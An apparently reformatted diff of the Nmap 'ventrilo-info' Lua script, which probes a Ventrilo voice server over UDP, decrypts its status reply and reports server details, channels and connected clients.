0x26,0xdb,0xdf,0x5a,0x87,0x91,0x6f,0xd6,0xcd,0xd4,0xad,0x4a,0x29,0xdd,0x7d,0x59, 0x26,0xdb,0xdf,0x5a,0x87,0x91,0x6f,0xd6,0xcd,0xd4,0xad,0x4a,0x29,0xdd,0x7d,0x59,
0xbd,0x15,0x34,0x53,0xb1,0xd8,0x50,0x11,0x83,0x79,0x66,0x21,0x9e,0x87,0x5b,0x24, 0xbd,0x15,0x34,0x53,0xb1,0xd8,0x50,0x11,0x83,0x79,0x66,0x21,0x9e,0x87,0x5b,0x24,
0x2f,0x4f,0xd7,0x73,0x34,0xa2,0xf7,0x09,0xd5,0xd9,0x42,0x9d,0xf8,0x15,0xdf,0x0e, 0x2f,0x4f,0xd7,0x73,0x34,0xa2,0xf7,0x09,0xd5,0xd9,0x42,0x9d,0xf8,0x15,0xdf,0x0e,
0x10,0xcc,0x05,0x04,0x35,0x81,0xb2,0xd5,0x7a,0xd2,0xa0,0xa5,0x7b,0xb8,0x75,0xd2, 0x10,0xcc,0x05,0x04,0x35,0x81,0xb2,0xd5,0x7a,0xd2,0xa0,0xa5,0x7b,0xb8,0x75,0xd2,
0x35,0x0b,0x39,0x8f,0x1b,0x44,0x0e,0xce,0x66,0x87,0x1b,0x64,0xac,0xe1,0xca,0x67, 0x35,0x0b,0x39,0x8f,0x1b,0x44,0x0e,0xce,0x66,0x87,0x1b,0x64,0xac,0xe1,0xca,0x67,
0xb4,0xce,0x33,0xdb,0x89,0xfe,0xd8,0x8e,0xcd,0x58,0x92,0x41,0x50,0x40,0xcb,0x08, 0xb4,0xce,0x33,0xdb,0x89,0xfe,0xd8,0x8e,0xcd,0x58,0x92,0x41,0x50,0x40,0xcb,0x08,
0xe1,0x15,0xee,0xf4,0x64,0xfe,0x1c,0xee,0x25,0xe7,0x21,0xe6,0x6c,0xc6,0xa6,0x2e, 0xe1,0x15,0xee,0xf4,0x64,0xfe,0x1c,0xee,0x25,0xe7,0x21,0xe6,0x6c,0xc6,0xa6,0x2e,
0x52,0x23,0xa7,0x20,0xd2,0xd7,0x28,0x07,0x23,0x14,0x24,0x3d,0x45,0xa5,0xc7,0x90, 0x52,0x23,0xa7,0x20,0xd2,0xd7,0x28,0x07,0x23,0x14,0x24,0x3d,0x45,0xa5,0xc7,0x90,
0xdb,0x77,0xdd,0xea,0x38,0x59,0x89,0x32,0xbc,0x00,0x3a,0x6d,0x61,0x4e,0xdb,0x29 0xdb,0x77,0xdd,0xea,0x38,0x59,0x89,0x32,0xbc,0x00,0x3a,0x6d,0x61,0x4e,0xdb,0x29
} }
local crypt_crc = { local crypt_crc = {
0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7, 0x0000,0x1021,0x2042,0x3063,0x4084,0x50a5,0x60c6,0x70e7,
0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef, 0x8108,0x9129,0xa14a,0xb16b,0xc18c,0xd1ad,0xe1ce,0xf1ef,
0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,0x72f7,0x62d6, 0x1231,0x0210,0x3273,0x2252,0x52b5,0x4294,0x72f7,0x62d6,
0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de, 0x9339,0x8318,0xb37b,0xa35a,0xd3bd,0xc39c,0xf3ff,0xe3de,
0x2462,0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485, 0x2462,0x3443,0x0420,0x1401,0x64e6,0x74c7,0x44a4,0x5485,
0xa56a,0xb54b,0x8528,0x9509,0xe5ee,0xf5cf,0xc5ac,0xd58d, 0xa56a,0xb54b,0x8528,0x9509,0xe5ee,0xf5cf,0xc5ac,0xd58d,
0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,0x46b4, 0x3653,0x2672,0x1611,0x0630,0x76d7,0x66f6,0x5695,0x46b4,
0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc, 0xb75b,0xa77a,0x9719,0x8738,0xf7df,0xe7fe,0xd79d,0xc7bc,
0x48c4,0x58e5,0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823, 0x48c4,0x58e5,0x6886,0x78a7,0x0840,0x1861,0x2802,0x3823,
0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,0x9969,0xa90a,0xb92b, 0xc9cc,0xd9ed,0xe98e,0xf9af,0x8948,0x9969,0xa90a,0xb92b,
0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12, 0x5af5,0x4ad4,0x7ab7,0x6a96,0x1a71,0x0a50,0x3a33,0x2a12,
0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a, 0xdbfd,0xcbdc,0xfbbf,0xeb9e,0x9b79,0x8b58,0xbb3b,0xab1a,
0x6ca6,0x7c87,0x4ce4,0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41, 0x6ca6,0x7c87,0x4ce4,0x5cc5,0x2c22,0x3c03,0x0c60,0x1c41,
0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,0x8d68,0x9d49, 0xedae,0xfd8f,0xcdec,0xddcd,0xad2a,0xbd0b,0x8d68,0x9d49,
0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70, 0x7e97,0x6eb6,0x5ed5,0x4ef4,0x3e13,0x2e32,0x1e51,0x0e70,
0xff9f,0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78, 0xff9f,0xefbe,0xdfdd,0xcffc,0xbf1b,0xaf3a,0x9f59,0x8f78,
0x9188,0x81a9,0xb1ca,0xa1eb,0xd10c,0xc12d,0xf14e,0xe16f, 0x9188,0x81a9,0xb1ca,0xa1eb,0xd10c,0xc12d,0xf14e,0xe16f,
0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,0x6067, 0x1080,0x00a1,0x30c2,0x20e3,0x5004,0x4025,0x7046,0x6067,
0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e, 0x83b9,0x9398,0xa3fb,0xb3da,0xc33d,0xd31c,0xe37f,0xf35e,
0x02b1,0x1290,0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256, 0x02b1,0x1290,0x22f3,0x32d2,0x4235,0x5214,0x6277,0x7256,
0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,0xe54f,0xd52c,0xc50d, 0xb5ea,0xa5cb,0x95a8,0x8589,0xf56e,0xe54f,0xd52c,0xc50d,
0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405, 0x34e2,0x24c3,0x14a0,0x0481,0x7466,0x6447,0x5424,0x4405,
0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c, 0xa7db,0xb7fa,0x8799,0x97b8,0xe75f,0xf77e,0xc71d,0xd73c,
0x26d3,0x36f2,0x0691,0x16b0,0x6657,0x7676,0x4615,0x5634, 0x26d3,0x36f2,0x0691,0x16b0,0x6657,0x7676,0x4615,0x5634,
0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,0xb98a,0xa9ab, 0xd94c,0xc96d,0xf90e,0xe92f,0x99c8,0x89e9,0xb98a,0xa9ab,
0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3, 0x5844,0x4865,0x7806,0x6827,0x18c0,0x08e1,0x3882,0x28a3,
0xcb7d,0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a, 0xcb7d,0xdb5c,0xeb3f,0xfb1e,0x8bf9,0x9bd8,0xabbb,0xbb9a,
0x4a75,0x5a54,0x6a37,0x7a16,0x0af1,0x1ad0,0x2ab3,0x3a92, 0x4a75,0x5a54,0x6a37,0x7a16,0x0af1,0x1ad0,0x2ab3,0x3a92,
0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,0x8dc9, 0xfd2e,0xed0f,0xdd6c,0xcd4d,0xbdaa,0xad8b,0x9de8,0x8dc9,
0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1, 0x7c26,0x6c07,0x5c64,0x4c45,0x3ca2,0x2c83,0x1ce0,0x0cc1,
0xef1f,0xff3e,0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8, 0xef1f,0xff3e,0xcf5d,0xdf7c,0xaf9b,0xbfba,0x8fd9,0x9ff8,
0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,0x3eb2,0x0ed1,0x1ef0 0x6e17,0x7e36,0x4e55,0x5e74,0x2e93,0x3eb2,0x0ed1,0x1ef0
} }
-- The probe payload is static as it has proven to be unecessary to forge a new -- The probe payload is static as it has proven to be unecessary to forge a new
@@ -239,15 +239,15 @@ local static_probe_payload = "\x49\xde\xdf\xd0\x65\xc9\x21\xc4\x90\x0d\xbf\x23\x
-- @param auth the server authentication scheme code -- @param auth the server authentication scheme code
-- @return string string interpretation of the server authentication scheme -- @return string string interpretation of the server authentication scheme
local auth_str = function(auth) local auth_str = function(auth)
if auth == "0" then if auth == "0" then
return "none" return "none"
elseif auth == "1" then elseif auth == "1" then
return "pw" return "pw"
elseif auth == "2" then elseif auth == "2" then
return "user/pw" return "user/pw"
else else
return auth return auth
end end
end end
-- Formats an uptime string containing a number of seconds. -- Formats an uptime string containing a number of seconds.
@@ -255,15 +255,15 @@ end
-- @param uptime number of seconds of uptime -- @param uptime number of seconds of uptime
-- @return uptime_formatted formatted uptime string (hours and minutes) -- @return uptime_formatted formatted uptime string (hours and minutes)
local uptime_str = function(uptime) local uptime_str = function(uptime)
local uptime_num = tonumber(uptime) local uptime_num = tonumber(uptime)
if not uptime_num then if not uptime_num then
return uptime return uptime
end end
local h = math.floor(uptime_num/3600) local h = math.floor(uptime_num/3600)
local m = math.floor((uptime_num - h*3600)/60) local m = math.floor((uptime_num - h*3600)/60)
return h .. "h:" .. m .. "m" return h .. "h:" .. m .. "m"
end end
-- Decrypts the Ventrilo UDP status response header segment. -- Decrypts the Ventrilo UDP status response header segment.
@@ -276,33 +276,33 @@ end
-- @return key key for decrypting the data segment of this response packet -- @return key key for decrypting the data segment of this response packet
-- @return crc_sum the crc checksum of the full response data segment -- @return crc_sum the crc checksum of the full response data segment
local dec_head = function(str) local dec_head = function(str)
local head = { string.byte(str, 1, 20) } local head = { string.byte(str, 1, 20) }
head[1], head[2] = head[2], head[1] head[1], head[2] = head[2], head[1]
local a1 = head[1] local a1 = head[1]
if a1 == 0 then if a1 == 0 then
return table.concat(head) return table.concat(head)
end end
local a2 = head[2] local a2 = head[2]
for i = 3,20 do for i = 3,20 do
head[i] = bit.band(head[i] - (crypt_head[a2 + 1] + ((i - 3) % 5)), 0xFF) head[i] = bit.band(head[i] - (crypt_head[a2 + 1] + ((i - 3) % 5)), 0xFF)
a2 = bit.band(a2 + a1, 0xFF) a2 = bit.band(a2 + a1, 0xFF)
end end
for i = 3,19,2 do for i = 3,19,2 do
head[i], head[i + 1] = head[i + 1], head[i] head[i], head[i + 1] = head[i + 1], head[i]
end end
local id = head[7] + bit.lshift(head[8], 8) local id = head[7] + bit.lshift(head[8], 8)
local totlen = head[9] + bit.lshift(head[10], 8) local totlen = head[9] + bit.lshift(head[10], 8)
local len = head[11] + bit.lshift(head[12], 8) local len = head[11] + bit.lshift(head[12], 8)
local totpck = head[13] + bit.lshift(head[14], 8) local totpck = head[13] + bit.lshift(head[14], 8)
local pck = head[15] + bit.lshift(head[16], 8) local pck = head[15] + bit.lshift(head[16], 8)
local key = head[17] + bit.lshift(head[18], 8) local key = head[17] + bit.lshift(head[18], 8)
local crc_sum = head[19] + bit.lshift(head[20], 8) local crc_sum = head[19] + bit.lshift(head[20], 8)
return id, len, totlen, pck, totpck, key, crc_sum return id, len, totlen, pck, totpck, key, crc_sum
end end
-- Decrypts the Ventrilo UDP status response data segment. -- Decrypts the Ventrilo UDP status response data segment.
@@ -310,21 +310,21 @@ end
-- @param len length of the data segment of this response packet -- @param len length of the data segment of this response packet
-- @param key key for decrypting the data segment -- @param key key for decrypting the data segment
local dec_data = function(str, len, key) local dec_data = function(str, len, key)
-- skip the header (first 20 bytes) -- skip the header (first 20 bytes)
local data = { string.byte(str, 21, 20 + len) } local data = { string.byte(str, 21, 20 + len) }
local a1 = bit.band(key, 0xFF) local a1 = bit.band(key, 0xFF)
if a1 == 0 then if a1 == 0 then
return table.concat(data) return table.concat(data)
end end
local a2 = bit.rshift(key, 8) local a2 = bit.rshift(key, 8)
for i = 1,len do for i = 1,len do
data[i] = bit.band(data[i] - (crypt_data[a2 + 1] + ((i - 1) % 72)), 0xFF) data[i] = bit.band(data[i] - (crypt_data[a2 + 1] + ((i - 1) % 72)), 0xFF)
a2 = bit.band(a2 + a1, 0xFF) a2 = bit.band(a2 + a1, 0xFF)
end end
return string.char(table.unpack(data)) return string.char(table.unpack(data))
end end
-- Convenient wrapper for string.find(...). Returns the position of the end of -- Convenient wrapper for string.find(...). Returns the position of the end of
@@ -336,8 +336,8 @@ end
-- @return newpos position of the end of the match, or pos if no match found -- @return newpos position of the end of the match, or pos if no match found
-- @return cap the first capture, or "n/a" if one was not found -- @return cap the first capture, or "n/a" if one was not found
local str_find = function(str, pattern, pos) local str_find = function(str, pattern, pos)
local _, newpos, cap = string.find(str, pattern, pos) local _, newpos, cap = string.find(str, pattern, pos)
return newpos or pos, cap or "n/a" return newpos or pos, cap or "n/a"
end end
-- Calculates the CRC checksum used for checking the integrity of the received -- Calculates the CRC checksum used for checking the integrity of the received
@@ -345,322 +345,322 @@ end
-- @param data data to calculate the checksum of -- @param data data to calculate the checksum of
-- @return 2 byte CRC checksum as seen in Ventrilo UDP status headers -- @return 2 byte CRC checksum as seen in Ventrilo UDP status headers
local crc = function(data) local crc = function(data)
local sum = 0 local sum = 0
for i = 1,#data do for i = 1,#data do
sum = bit.band(bit.bxor(crypt_crc[bit.rshift(sum, 8) + 1], sum = bit.band(bit.bxor(crypt_crc[bit.rshift(sum, 8) + 1],
data:byte(i), bit.lshift(sum, 8)), 0xFFFF) data:byte(i), bit.lshift(sum, 8)), 0xFFFF)
end end
return sum return sum
end end
-- Parses the status response data segment and constructs an output table. -- Parses the status response data segment and constructs an output table.
-- @param Ventrilo UDP status response data segment -- @param Ventrilo UDP status response data segment
-- @return info output table representing Ventrilo UDP status response info -- @return info output table representing Ventrilo UDP status response info
local o_table = function(data) local o_table = function(data)
local info = stdnse.output_table() local info = stdnse.output_table()
local pos local pos
pos, info.name = str_find(data, "NAME: ([^\n]*)", 0) pos, info.name = str_find(data, "NAME: ([^\n]*)", 0)
pos, info.phonetic = str_find(data, "PHONETIC: ([^\n]*)", pos) pos, info.phonetic = str_find(data, "PHONETIC: ([^\n]*)", pos)
pos, info.comment = str_find(data, "COMMENT: ([^\n]*)", pos) pos, info.comment = str_find(data, "COMMENT: ([^\n]*)", pos)
pos, info.auth = str_find(data, "AUTH: ([^\n]*)", pos) pos, info.auth = str_find(data, "AUTH: ([^\n]*)", pos)
pos, info.maxclients = str_find(data, "MAXCLIENTS: ([^\n]*)", pos) pos, info.maxclients = str_find(data, "MAXCLIENTS: ([^\n]*)", pos)
pos, info.voicecodec = str_find(data, "VOICECODEC: ([^\n]*)", pos) pos, info.voicecodec = str_find(data, "VOICECODEC: ([^\n]*)", pos)
pos, info.voiceformat = str_find(data, "VOICEFORMAT: ([^\n]*)", pos) pos, info.voiceformat = str_find(data, "VOICEFORMAT: ([^\n]*)", pos)
pos, info.uptime = str_find(data, "UPTIME: ([^\n]*)", pos) pos, info.uptime = str_find(data, "UPTIME: ([^\n]*)", pos)
pos, info.platform = str_find(data, "PLATFORM: ([^\n]*)", pos) pos, info.platform = str_find(data, "PLATFORM: ([^\n]*)", pos)
pos, info.version = str_find(data, "VERSION: ([^\n]*)", pos) pos, info.version = str_find(data, "VERSION: ([^\n]*)", pos)
-- channels -- channels
pos, info.channelcount = str_find(data, "CHANNELCOUNT: ([^\n]*)", pos) pos, info.channelcount = str_find(data, "CHANNELCOUNT: ([^\n]*)", pos)
pos, info.channelfields = str_find(data, "CHANNELFIELDS: ([^\n]*)", pos) pos, info.channelfields = str_find(data, "CHANNELFIELDS: ([^\n]*)", pos)
-- construct channel fields as a nice list instead of the raw data -- construct channel fields as a nice list instead of the raw data
local channelfields = {} local channelfields = {}
for channelfield in string.gmatch(info.channelfields, "[^,\n]+") do for channelfield in string.gmatch(info.channelfields, "[^,\n]+") do
channelfields[#channelfields + 1] = channelfield channelfields[#channelfields + 1] = channelfield
end
info.channelfields = channelfields
-- parse and add channels
info.channels = stdnse.output_table()
-- add top level lobby channel (CID = 0)
info.channels["0"] = stdnse.output_table()
info.channels["0"].NAME = "<top level lobby>"
info.channels["0"].CID = "0"
while string.sub(data, pos + 2, pos + 10) == "CHANNEL: " do
local channel = stdnse.output_table()
for _, channelfield in ipairs(info.channelfields) do
pos, channel[channelfield] = str_find(data, channelfield .. "=([^,\n]*)", pos)
end end
info.channelfields = channelfields if channel.CID then
info.channels[channel.CID] = channel
-- parse and add channels
info.channels = stdnse.output_table()
-- add top level lobby channel (CID = 0)
info.channels["0"] = stdnse.output_table()
info.channels["0"].NAME = "<top level lobby>"
info.channels["0"].CID = "0"
while string.sub(data, pos + 2, pos + 10) == "CHANNEL: " do
local channel = stdnse.output_table()
for _, channelfield in ipairs(info.channelfields) do
pos, channel[channelfield] = str_find(data, channelfield .. "=([^,\n]*)", pos)
end
if channel.CID then
info.channels[channel.CID] = channel
end
end end
end
-- clients -- clients
pos, info.clientcount = str_find(data, "CLIENTCOUNT: ([^\n]*)", pos) pos, info.clientcount = str_find(data, "CLIENTCOUNT: ([^\n]*)", pos)
pos, info.clientfields = str_find(data, "CLIENTFIELDS: ([^\n]*)", pos) pos, info.clientfields = str_find(data, "CLIENTFIELDS: ([^\n]*)", pos)
-- construct client fields as a nice list instead of the raw data -- construct client fields as a nice list instead of the raw data
local clientfields = {} local clientfields = {}
for clientfield in string.gmatch(info.clientfields, "[^,\n]+") do for clientfield in string.gmatch(info.clientfields, "[^,\n]+") do
clientfields[#clientfields + 1] = clientfield clientfields[#clientfields + 1] = clientfield
end
info.clientfields = clientfields
-- parse and add clients
while string.sub(data, pos + 2, pos + 9) == "CLIENT: " do
local client = stdnse.output_table()
for _, clientfield in ipairs(info.clientfields) do
pos, client[clientfield] = str_find(data, clientfield .. "=([^,\n]*)", pos)
end end
info.clientfields = clientfields if client.CID then
if not info.channels[client.CID] then
-- parse and add clients -- weird clients with unrecognized CID are put in the -1 channel
while string.sub(data, pos + 2, pos + 9) == "CLIENT: " do if not info.channels["-1"] then
local client = stdnse.output_table() -- add channel for weird clients with unrecognized CIDs
for _, clientfield in ipairs(info.clientfields) do info.channels["-1"] = stdnse.output_table()
pos, client[clientfield] = str_find(data, clientfield .. "=([^,\n]*)", pos) info.channels["-1"].NAME = "<clients with unrecognized CIDs>"
end info.channels["-1"].CID = "-1"
if client.CID then info.channels["-1"].clients = {}
if not info.channels[client.CID] then
-- weird clients with unrecognized CID are put in the -1 channel
if not info.channels["-1"] then
-- add channel for weird clients with unrecognized CIDs
info.channels["-1"] = stdnse.output_table()
info.channels["-1"].NAME = "<clients with unrecognized CIDs>"
info.channels["-1"].CID = "-1"
info.channels["-1"].clients = {}
end
table.insert(info.channels["-1"].clients, client)
elseif not info.channels[client.CID].clients then
-- channel had no clients, create table for the 1st client
info.channels[client.CID].clients = {}
table.insert(info.channels[client.CID].clients, client)
else
table.insert(info.channels[client.CID].clients, client)
end
end end
table.insert(info.channels["-1"].clients, client)
elseif not info.channels[client.CID].clients then
-- channel had no clients, create table for the 1st client
info.channels[client.CID].clients = {}
table.insert(info.channels[client.CID].clients, client)
else
table.insert(info.channels[client.CID].clients, client)
end
end end
end
return info return info
end end
-- Constructs an output string from an output table for use in normal output. -- Constructs an output string from an output table for use in normal output.
-- @param info output table -- @param info output table
-- @return output_string output string -- @return output_string output string
local o_str = function(info) local o_str = function(info)
local buf = strbuf.new() local buf = strbuf.new()
buf = buf .. "\nname: " buf = buf .. "\nname: "
buf = buf .. info.name buf = buf .. info.name
buf = buf .. "\nphonetic: " buf = buf .. "\nphonetic: "
buf = buf .. info.phonetic buf = buf .. info.phonetic
buf = buf .. "\ncomment: " buf = buf .. "\ncomment: "
buf = buf .. info.comment buf = buf .. info.comment
buf = buf .. "\nauth: " buf = buf .. "\nauth: "
buf = buf .. auth_str(info.auth) buf = buf .. auth_str(info.auth)
buf = buf .. "\nmax. clients: " buf = buf .. "\nmax. clients: "
buf = buf .. info.maxclients buf = buf .. info.maxclients
buf = buf .. "\nvoice codec: " buf = buf .. "\nvoice codec: "
buf = buf .. info.voicecodec buf = buf .. info.voicecodec
buf = buf .. "\nvoice format: " buf = buf .. "\nvoice format: "
buf = buf .. info.voiceformat buf = buf .. info.voiceformat
buf = buf .. "\nuptime: " buf = buf .. "\nuptime: "
buf = buf .. uptime_str(info.uptime) buf = buf .. uptime_str(info.uptime)
buf = buf .. "\nplatform: " buf = buf .. "\nplatform: "
buf = buf .. info.platform buf = buf .. info.platform
buf = buf .. "\nversion: " buf = buf .. "\nversion: "
buf = buf .. info.version buf = buf .. info.version
buf = buf .. "\nchannel count: " buf = buf .. "\nchannel count: "
buf = buf .. info.channelcount buf = buf .. info.channelcount
buf = buf .. "\nchannel fields: " buf = buf .. "\nchannel fields: "
for i, channelfield in ipairs(info.channelfields) do for i, channelfield in ipairs(info.channelfields) do
buf = buf .. channelfield
if i ~= #info.channelfields then
buf = buf .. ", "
end
end
buf = buf .. "\nclient count: "
buf = buf .. info.clientcount
buf = buf .. "\nclient fields: "
for i, clientfield in ipairs(info.clientfields) do
buf = buf .. clientfield
if i ~= #info.clientfields then
buf = buf .. ", "
end
end
buf = buf .. "\nchannels:"
for i, channel in pairs(info.channels) do
buf = buf .. "\n"
buf = buf .. channel.NAME
buf = buf .. " ("
for j, channelfield in ipairs(info.channelfields) do
if channelfield ~= "NAME" and channelfield ~= "n/a" then
buf = buf .. channelfield buf = buf .. channelfield
if i ~= #info.channelfields then buf = buf .. ": "
buf = buf .. ", " buf = buf .. (channel[channelfield] or "n/a")
if j ~= #info.channelfields then
buf = buf .. ", "
end end
end
end end
buf = buf .. "\nclient count: " buf = buf .. "): "
buf = buf .. info.clientcount if not channel.clients then
buf = buf .. "\nclient fields: " buf = buf .. "<empty>"
for i, clientfield in ipairs(info.clientfields) do else
buf = buf .. clientfield for j, client in ipairs(channel.clients) do
if i ~= #info.clientfields then buf = buf .. "\n "
buf = buf .. ", " buf = buf .. client.NAME
end
end
buf = buf .. "\nchannels:"
for i, channel in pairs(info.channels) do
buf = buf .. "\n"
buf = buf .. channel.NAME
buf = buf .. " (" buf = buf .. " ("
for j, channelfield in ipairs(info.channelfields) do for k, clientfield in ipairs(info.clientfields) do
if channelfield ~= "NAME" and channelfield ~= "n/a" then if clientfield ~= "NAME" and clientfield ~= "CID" then
buf = buf .. channelfield buf = buf .. clientfield
buf = buf .. ": " buf = buf .. ": "
buf = buf .. (channel[channelfield] or "n/a") buf = buf .. client[clientfield]
if j ~= #info.channelfields then if k ~= #info.clientfields then
buf = buf .. ", " buf = buf .. ", "
end
end
end
buf = buf .. "): "
if not channel.clients then
buf = buf .. "<empty>"
else
for j, client in ipairs(channel.clients) do
buf = buf .. "\n "
buf = buf .. client.NAME
buf = buf .. " ("
for k, clientfield in ipairs(info.clientfields) do
if clientfield ~= "NAME" and clientfield ~= "CID" then
buf = buf .. clientfield
buf = buf .. ": "
buf = buf .. client[clientfield]
if k ~= #info.clientfields then
buf = buf .. ", "
end
end
end
end end
end
end end
end
end end
end
return strbuf.dump(buf, "") return strbuf.dump(buf, "")
end end
portrule = shortport.version_port_or_service({3784}, "ventrilo", {"tcp", "udp"}) portrule = shortport.version_port_or_service({3784}, "ventrilo", {"tcp", "udp"})
action = function(host, port) action = function(host, port)
local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number) local mutex = nmap.mutex("ventrilo-info:" .. host.ip .. ":" .. port.number)
mutex("lock") mutex("lock")
if host.registry["ventrilo-info"] == nil then if host.registry["ventrilo-info"] == nil then
host.registry["ventrilo-info"] = {} host.registry["ventrilo-info"] = {}
end
-- Maybe the script already ran for this port number on another protocol
local r = host.registry["ventrilo-info"][port.number]
if r == nil then
r = {}
host.registry["ventrilo-info"][port.number] = r
local socket = nmap.new_socket()
socket:set_timeout(2000)
local cleanup = function()
socket:close()
mutex("done")
end end
-- Maybe the script already ran for this port number on another protocol local try = nmap.new_try(cleanup)
local r = host.registry["ventrilo-info"][port.number]
if r == nil then
r = {}
host.registry["ventrilo-info"][port.number] = r
local socket = nmap.new_socket() local udpport = { number = port.number, protocol = "udp" }
socket:set_timeout(2000) try(socket:connect(host.ip, udpport))
local cleanup = function() local status, response
socket:close() -- try a couple of times on timeout, the service seems to not
mutex("done") -- respond if multiple requests come within a short timeframe
end for _ = 1,3 do
local try = nmap.new_try(cleanup) try(socket:send(static_probe_payload))
status, response = socket:receive()
local udpport = { number = port.number, protocol = "udp" } if status then
try(socket:connect(host.ip, udpport)) nmap.set_port_state(host, udpport, "open")
break
local status, response end
-- try a couple of times on timeout, the service seems to not end
-- respond if multiple requests come within a short timeframe if not status then
for _ = 1,3 do -- 3 timeouts, no response
try(socket:send(static_probe_payload)) cleanup()
status, response = socket:receive() return
if status then
nmap.set_port_state(host, udpport, "open")
break
end
end
if not status then
-- 3 timeouts, no response
cleanup()
return
end
-- received the first packet, process it and others if they come
local fulldata = {}
local fulldatalen = 0
local curlen = 0
local head_crc_sum
while true do
-- decrypt received header and extract relevant information
local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response)
if id == static_probe_id then
curlen = curlen + len
head_crc_sum = crc_sum
-- check for an invalid response
if #response < 20 or pck >= totpck or
len > 492 or curlen > totlen then
stdnse.print_debug("Invalid response. Aborting script.")
cleanup()
return
end
-- keep track of the length of fulldata (# isn't applicable)
if fulldata[pck + 1] == nil then
fulldatalen = fulldatalen + 1
end
-- accumulate UDP packets that may not necessarily come in proper
-- order; arrange them by packet id
fulldata[pck + 1] = dec_data(response, len, key)
end
-- check for invalid states in communication
if (fulldatalen > totpck) or (curlen > totlen)
or (fulldatalen == totpck and curlen ~= totlen)
or (curlen == totlen and fulldatalen ~= totpck) then
stdnse.print_debug("Invalid state (fulldatalen = " .. fulldatalen ..
"; totpck = " .. totpck .. "; curlen = " .. curlen ..
"; totlen = " .. totlen .. "). Aborting script.")
cleanup()
return
end
-- check for valid end of communication
if fulldatalen == totpck and curlen == totlen then
break
end
-- receive another packet
status, response = socket:receive()
if not status then
stdnse.print_debug("Response packets stopped coming midway. Aborting script.")
cleanup()
return
end
end
socket:close()
-- concatenate received data into a single string for further use
local fulldata_str = table.concat(fulldata)
-- check for an invalid checksum on the response data sections (no headers)
local fulldata_crc_sum = crc(fulldata_str)
if fulldata_crc_sum ~= head_crc_sum then
stdnse.print_debug("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum)
cleanup()
return
end
-- parse the received data string into an output table
r.info = o_table(fulldata_str)
end end
mutex("done") -- received the first packet, process it and others if they come
local fulldata = {}
local fulldatalen = 0
local curlen = 0
local head_crc_sum
while true do
-- decrypt received header and extract relevant information
local id, len, totlen, pck, totpck, key, crc_sum = dec_head(response)
-- If the registry is empty the port was probed but Ventrilo wasn't detected if id == static_probe_id then
if next(r) == nil then curlen = curlen + len
head_crc_sum = crc_sum
-- check for an invalid response
if #response < 20 or pck >= totpck or
len > 492 or curlen > totlen then
stdnse.print_debug("Invalid response. Aborting script.")
cleanup()
return
end
-- keep track of the length of fulldata (# isn't applicable)
if fulldata[pck + 1] == nil then
fulldatalen = fulldatalen + 1
end
-- accumulate UDP packets that may not necessarily come in proper
-- order; arrange them by packet id
fulldata[pck + 1] = dec_data(response, len, key)
end
-- check for invalid states in communication
if (fulldatalen > totpck) or (curlen > totlen)
or (fulldatalen == totpck and curlen ~= totlen)
or (curlen == totlen and fulldatalen ~= totpck) then
stdnse.print_debug("Invalid state (fulldatalen = " .. fulldatalen ..
"; totpck = " .. totpck .. "; curlen = " .. curlen ..
"; totlen = " .. totlen .. "). Aborting script.")
cleanup()
return return
end
-- check for valid end of communication
if fulldatalen == totpck and curlen == totlen then
break
end
-- receive another packet
status, response = socket:receive()
if not status then
stdnse.print_debug("Response packets stopped coming midway. Aborting script.")
cleanup()
return
end
end end
port.version.name = "ventrilo" socket:close()
port.version.name_confidence = 10
port.version.product = "Ventrilo" -- concatenate received data into a single string for further use
port.version.version = r.info.version local fulldata_str = table.concat(fulldata)
port.version.ostype = r.info.platform
port.version.extrainfo = "; name: ".. r.info.name -- check for an invalid checksum on the response data sections (no headers)
if port.protocol == "tcp" then local fulldata_crc_sum = crc(fulldata_str)
port.version.extrainfo = "voice port" .. port.version.extrainfo if fulldata_crc_sum ~= head_crc_sum then
else stdnse.print_debug("Invalid CRC sum, received = %04X, calculated = %04X", head_crc_sum, fulldata_crc_sum)
port.version.extrainfo = "status port" .. port.version.extrainfo cleanup()
return
end end
port.version.extrainfo = port.version.extrainfo .. "; uptime: " .. uptime_str(r.info.uptime)
port.version.extrainfo = port.version.extrainfo .. "; auth: " .. auth_str(r.info.auth)
nmap.set_port_version(host, port, "hardmatched") -- parse the received data string into an output table
r.info = o_table(fulldata_str)
end
-- an output table for XML output and a custom string for normal output mutex("done")
return r.info, o_str(r.info)
